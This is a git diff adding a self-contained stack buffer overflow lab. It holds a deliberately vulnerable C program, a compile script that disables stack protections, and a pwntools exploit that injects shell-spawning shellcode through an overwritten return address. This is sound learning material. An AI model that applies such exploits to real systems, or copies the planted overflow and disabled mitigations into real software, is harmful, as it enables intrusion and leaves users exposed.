diff --git a/.gitignore b/.gitignore index c6127b3..11042af 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,6 @@ +# gdb +.gdb_history + # Prerequisites *.d diff --git a/stackoverflow/no-protection/answer.py b/stackoverflow/no-protection/answer.py new file mode 100644 index 0000000..b18284f --- /dev/null +++ b/stackoverflow/no-protection/answer.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python2 +from pwn import * +from LibcSearcher import * +import os +context.log_level="debug" +context(arch="amd64",os="linux") + +p=process('./hello') +shellcode=asm(shellcraft.sh()) +len_sc=len(shellcode) +payload=0x48*'0'+p64(0x00007ffff7a08118)+shellcode +with open('payload.txt', 'w') as f: + f.write(payload) +p.sendline(payload) +p.interactive() diff --git a/stackoverflow/no-protection/compile.sh b/stackoverflow/no-protection/compile.sh new file mode 100755 index 0000000..87b9dad --- /dev/null +++ b/stackoverflow/no-protection/compile.sh @@ -0,0 +1,2 @@ +#!/bin/sh +gcc hello.c -g -o hello -zexecstack -fno-stack-protector -no-pie diff --git a/stackoverflow/no-protection/hello b/stackoverflow/no-protection/hello new file mode 100755 index 0000000..801daf5 Binary files /dev/null and b/stackoverflow/no-protection/hello differ diff --git a/stackoverflow/no-protection/hello.c b/stackoverflow/no-protection/hello.c new file mode 100644 index 0000000..c0f9a47 --- /dev/null +++ b/stackoverflow/no-protection/hello.c @@ -0,0 +1,13 @@ +#include +#include +#include +void SayHello(void){ + char tmpName[60]; + read(0, tmpName, 1000); + printf("Hello %s\n", tmpName); +} + +int main(int argc, char** argv){ + SayHello(); + return 0; +} diff --git a/stackoverflow/no-protection/payload.txt b/stackoverflow/no-protection/payload.txt new file mode 100644 index 0000000..5a7cd23 Binary files /dev/null and b/stackoverflow/no-protection/payload.txt differ diff --git a/stackoverflow/no-protection/peda-session-hello.txt b/stackoverflow/no-protection/peda-session-hello.txt new file mode 100644 index 0000000..8f39891 --- /dev/null +++ b/stackoverflow/no-protection/peda-session-hello.txt @@ -0,0 +1,2 @@ +break SayHello +